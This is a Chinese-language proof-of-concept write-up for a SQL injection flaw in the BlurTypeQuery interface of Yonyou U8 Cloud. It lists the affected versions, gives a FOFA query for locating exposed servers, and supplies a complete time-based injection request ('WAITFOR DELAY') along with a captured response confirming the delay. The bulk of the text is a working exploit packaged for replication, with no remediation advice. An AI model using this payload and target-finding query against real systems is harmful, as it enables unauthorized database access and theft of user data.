

Y3-4用友-U8Cloud-SQL

漏洞描述:

用友U8 Cloud BlurTypeQuery接口处存在SQL注入漏洞, 未授权的攻击者可通过此漏洞获取数据库权限, 从而盗取用户数据, 造成用户信息泄露。

影响版本:

2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,5.0

网站图片:

 [下载页面](#)

请下载新版UClient
开启U8 cloud云端之旅

立即下载 ↓



网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

```
GET /service/~iufo/nc.itf.iufo.mobilereport.data.BlurTypeQuery?usercode=5&queryKey=1');WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
```

效果图:

延时5秒

Request	Response
1 GET /service/~iufo/nc.itf.iufo.mobilereport.data.BlurTypeQuery?usercode=5&queryKey=1');WAITFOR+DELAY+'0:0:5'-- HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: [redacted]	2 Date: Tue, 27 Feb 2024 10:22:23 GMT
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36	3 Content-Type: text/html; charset=utf-8
4 Connection: close	4 Connection: close
5 Accept: */*	5 Set-Cookie: JSESSIONID=F770B15E3D750924CE8
6 Accept-Language: en	6 Set-Cookie: sl-session=IMH1bF8J32Ua5Ngr2x
7 Accept-Encoding: gzip	7 Content-Length: 51
	8
	9 {"message": "请求成功", "data": [], "success": true}